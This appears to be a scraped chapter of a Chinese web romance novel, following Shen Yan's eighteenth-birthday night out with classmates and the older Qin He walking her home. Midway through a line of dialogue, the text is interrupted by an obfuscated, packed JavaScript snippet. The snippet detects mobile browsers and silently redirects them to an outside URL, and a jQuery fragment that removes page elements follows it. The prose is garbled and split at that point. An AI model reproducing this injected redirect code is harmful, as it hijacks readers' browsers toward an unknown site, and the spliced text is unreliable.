14. 春风漫撩
作品:《斯文锁链[京圈]》 沈妍从京艺剧院匆匆忙忙跑出来时,门前几人已经等了十几分钟。
一见了她,他们七嘴八舌地开起玩笑。
“大忙人呀沈妍。”
“怎么着,现在有身价了,见面都得约档期?”
“得了,你们一个个欺负小孩儿干嘛?咱们都成年人,让着点小朋友啊。”
沈妍弯着眉眼听他们挤兑,也不恼,半认真地跟他们闹:“哥哥姐姐们这是哪儿的话?为了见你们,我还特意回去换身衣服。”
三四个关系不错的同学,再加上岑炀,齐整整地来给她庆生,
沈妍月份小,这一行人里,只有她还没到十八。
不过也就剩几小时。
齐晓东稀奇地“嗬”了声,“行啊沈妍,口音突飞猛进。这么几天,连儿化音都学得有模有样了。”
舞剧不需要台词功底,但女主角乔宛星是燕城人,平时揣摩剧本时,沈妍也潜移默化地染上了点燕城话的调调。
沈妍望了一圈,问:“许可呢?”
另个女生说:“她今天有点不舒服,早早就回宿舍躺着了。对了,她还让我跟你说声生日快乐。”
整个朗辰艺术团,许可是和她关系最好的女孩子,两人又是同寝。
听到她不来,沈妍难免失落,“可惜。”
齐晓东又出来打岔:“不可惜不可惜,她那份我替她吃了。”
他这话没开玩笑,涮羊肉有一半都进了他肚子。等去了KTV,其他人都在兴致颇高地唱歌,齐晓东反而瘫在沙发里消食,时不时点评一句“跑调了”。
岑炀看不下去,推着他起来:“就你一个学音乐的,起个调唱生日歌啊。”
齐晓东拽过话筒,懒洋洋地开嗓,哼出生日快乐歌的旋律。唱完后,他有些不怀好意地瞥了眼沈妍一眼,“唱歌都是虚的,成年人还是干点成年人的事情——”
桌上很快出现了好几件啤酒。
沈妍不为所动地冷哼了声:“吓唬谁呢?以为我没喝过呀。”
她想到喝了黄酒那夜,心脏兴奋地跳个不停的感觉,像是荡秋千,一直往上飘。
十八九岁的年纪最不知轻重,一轮一轮地碰杯,玩抽牌游戏,不一会儿就把酒下了大半。
齐晓东喝了酒后反而重新活过来,一首连着一首地霸麦。沈妍仰在沙发里听,笑得眯起眼。
霓虹在她脸上缓慢流转,不动声色抹去了天真,用绚幻勾勒出清妩初成的轮廓。
岑炀不知什么时候坐过来,“生日快乐。我有东西送你。”
大家的礼物一早就送过了,沈妍有些意外地看他又拿出件东西,沉甸甸的,似乎是本书。
岑炀:“这是吸引我报考戏剧文学的启蒙书,有空的时候,可以翻翻看。”
沈妍扑闪着睫,不解其意,又听他解释说:“之前和你聊《南乔》,我就觉得你的思考深度已经超越演员要求了,我有种很确定的感觉,你在戏剧文学领域很有天赋。”
岑炀循循善诱,半开玩笑地偏着头看她:“我听晓东说,你平时也爱看书。或许你走这条路会是更好的选择,也说不定?舞剧演员未必真的适合你吧,你在剧组待得开心吗?”
沈妍认真回想了片刻。
她说不上来。
全情投入在自己所爱的角色中,她有种燃尽自己的满足感。但抛开这些纯粹,那些难听的风言风语,步步谨慎的经营相处,她又实打实地不擅长。
可能是喝了酒的缘故,想起这些,她眼睛有些发热,缓了好一会儿才平静下来。
沈妍抿着由衷的笑意:“我会好好想想。岑炀,谢谢你替我考虑这么多。”
她眼里水光粼粼,蕴着感激,像丛林里迷路的小鹿被好心指了个方向。
岑炀没忍住,抬起手,轻轻拍了下她的头发,“有什么问题,都可以问我。”
一行人玩到很晚,又笑又闹地从门里出来,撞进春夜暖融融的风里。
沈妍的风衣挂在臂弯,喝了酒后身体温度升高,穿件针织衫便放肆地踏出门。其他人正张罗着打车,她还没将手机拿出来,便被路边的人影吸引了注意。
秦鹤姿态散漫地倚在黑色车门上,正不急不缓地抽烟。
他微捋起袖子,一边手腕有力地撑在车窗边沿,黑色衬衫领口的扣子解开了两颗,喉结时而滚动,连带着颈脉青筋也凹凸起伏。
秦鹤的目光一错不错地投过来,锁在她身上,眸底寒凛凛的怒意被煮沸。
沈妍的五脏不受控制地痉挛。
在秦鹤的目光里,她猛地惊醒,想起很多事情。
比如,今天不是休息日。再比如,现在已经过了门禁时间。
喝完酒后周身充斥着轻飘飘的喜悦感,而此刻,她则像是被人从半空中猛地拽到地上。
他是温暖春夜中的一抹冷色。
心虚感让她鬓角都有点冒冷汗。
有那么一瞬间,沈妍觉得自己好比被锁定的猎物,条件反射地想避开罗网。
但他的目光在她身上凝滞了片刻。
忽然之间,那股冰冷的怒意毫无缘由地烟消云散。
沈妍没看见他眸色的变化。
她有些紧张地将自己头上的生日礼帽扯下来,团成皱巴巴的一坨,白嫩的手心被扎出一道道红痕。
岑炀先意识到她不太对劲,走近了些,恰好替她挡住了秦鹤的目光。
岑炀在她面前晃了晃手,“没事吧?他们都打好车了,我送你回去?”
沈妍嗓音生了锈,低低“嗯”了声,主动拉着岑炀的袖子要走。
还没迈出几米,她余光瞥见男人雕塑般的身影动起来,长腿快步压过来,一把钳住她小臂。
秦鹤的声压很沉,仿佛控制在某个临界点。
“沈妍。”
他语调温凉地调侃她:“眼神儿不好没看见我?”
沈妍闭了闭眼,心脏跳得嘈杂紊乱。
她慢慢转过身,像做错事的孩子一样垂着头,不敢看男人的眼睛。
岑炀疑惑地跟着停下,问沈妍:“你们认识?”
男人的目光流转到他身上,停了停,似乎在记忆中搜寻着什么。
那天京艺剧院打来电话,说有人来找沈妍,登记了信息。后面秦鹤顺手让人查了查,是央艺的学生,模样记不太清了,声音倒还有点印象。
秦鹤见她脸色绯红,好心替她回答:“嗯。”
“你那天给我打过电话。”
他并没要跟岑炀解释的意思,说这话是为了赶人。
岑炀打了声招呼,却没动,不知是真没听明白还是装糊涂。
他甚至还主动要去搀沈妍一把,“我们拦辆车,一起回吧。”
秦鹤扬了点眉,颇觉好笑似的,唇角挂着弧度。
他朝路边抬了下手,车缓缓朝这边开过来,他拉开车门,用没什么商量余地的口吻对岑炀说:“有现成的,坐这个。”
岑炀僵了片刻,钻进车里。
秦鹤反手将车门甩上,隔着半扇车窗对司机说:“送去央艺。”
沈妍听见“砰”一声响,不可思议地抬起头,目送车尾灯越来越渺茫。
空旷的街道上倏而只剩他和她两人。
她觉得自己像掀了窝的鹌鹑,瑟瑟等着风吹雨打落下来。
秦鹤看着她这副样子,沉默了片刻,毫无办法地叹了口气:“你跑什么?”
沈妍低着头,仍旧不说话。
他回想着她往日清倔出奇的眼眸,失笑问:“什么时候开始怕我了?”
她飞快地抬头看了他一眼,咬着唇小声说:“不是怕你。”
她怕的是他失望地看着她。
比任何训斥和指责都可怕。
秦鹤没想吓她,缓和了语气问:“今天你生日?”
沈妍点点头,手心攥得更紧了。
秦鹤捏起她的腕,从她手心里抠出那一团不成样子的生日礼帽,扔进路边的垃圾桶。
他折回来,又将她臂弯里的风衣拎起来,绕过她背后展开,替她披上。
“穿好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958624|177407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”他命令道,“走路送你回去。”
“玩得开心么?”
沈妍没料到他会这么问,怔怔地偏头,听见他又重复。
“不是来过生日么,开心吗?”
她壮着胆子往他的方向看了一眼。
静水深流的神色,除了眼角的一点酡红,其余与往日别无二致。
心里的弦渐渐松弛了下来,沈妍轻声:“嗯。”
接着似乎是想起来什么,补充了一句:“很开心。”
他步子慢下来,竭力压着隐隐的愠意教她;“以后记着,再开心也得接电话。”
沈妍愣了下,从口袋里摸出手机,一片漆黑。
她举到秦鹤面前,仿佛在委屈巴巴地自证:“没电了。”
秦鹤哑然。半晌,没脾气似的地阖了阖眼,“算了。”
那会儿他正在酒局上,被京艺剧院的一个电话打过来,语气小心翼翼地说她请假外出,直到这会儿也联系不上。
他酒杯里还剩一半,二话没说抬脚就走,撂下一帮人大眼瞪小眼,不知道出了什么急事。
路上他安排了人查监控,挨个给朗辰的学生打电话问,几番周转才弄清楚人在哪儿。
确认只是跑出去玩得晚了点,他松了口气。
但还是亲自上楼看了眼,包厢里一群少男少女热热闹闹,小姑娘脸色红扑扑的,眉眼笑得弯成月牙。
闯进去不知多煞风景。
于是在楼下又等了一个钟头。
她不必知道这些。
即使如此,她也已经内疚得不成样子。
司机这时候打来电话,秦鹤接起,那头说已经把人送到了。
沈妍瞄见他屏幕,眉目飞扬地惊呼了一声:“呀,已经过零点了?”
血管里的热流奔腾起来,冲撞着四肢和五脏六腑,一时之间,她分不清这是醉酒的后劲,还是自己正在经历某种蜕变生长。
十八岁悄无声息地降临。
她微微闭着眼,将每个吐纳呼吸都放缓,春夜的风中带着蠢蠢欲动的痒,挠得她心尖颤栗。
睁开眼,她一个失衡,沦陷进秦鹤深邃的眸心。
他唇边挂着若有似无的笑意,声音很淡,“生日快乐。”
沈妍笑得楚楚动人,“谢谢。说实话,还是有些不真实。”
“怎么说?”
“还以为会是场很盛大的仪式,一旦过了那个时间点,就会立即成长为一个大人……”
秦鹤听得弯起眸来,低头无声地笑。
“不过也是有进步的。”她晃了晃没电的手机,“今晚没有一直守着,等妈妈的短信。”
今晚偶尔的几个时刻,她还是会想起沈依曼。
但在身边朋友的包围下,那一条短信似乎变得无关紧要。
她抓得住的只有当下。
沈妍忽然掉了个头,一边倒着走,一边问:“您十八岁时是什么样子?”
秦鹤回想着那个久远泛黄的时间点。
十八岁啊。
他不听管教地跑出国,学了个挺叛逆的专业,气得秦老爷子打越洋电话将他一顿臭骂。
当地留学生聚会不少,这帮人的家世大同小异,不少人都说以后要留在外面过清闲日子。
他笑笑没出声。
不被抓回去接管家里那一摊子事,已经是万幸。
在外面那几年,他见识复杂起来,也越发理解了以前听不进耳的话。
他低头睨着她清白天真的眼睛,不着痕迹地将思绪收起。
“读书,上学,都一样。”
“时间和自由倒是多了不少,可以做自己喜欢的事。”
春风一阵一阵地撩着她的发梢,头顶的梧桐绿芽在寸寸绽放。
沈妍在混沌休眠的脑海里抓住了点什么,猛地一扯,掉落出一串七零八散的念头。
每个都很大胆。
她垂着的眼睫扑闪了几下,忽而掀开,望向他。
“成年人,是不是能做许多以前不能做的事?”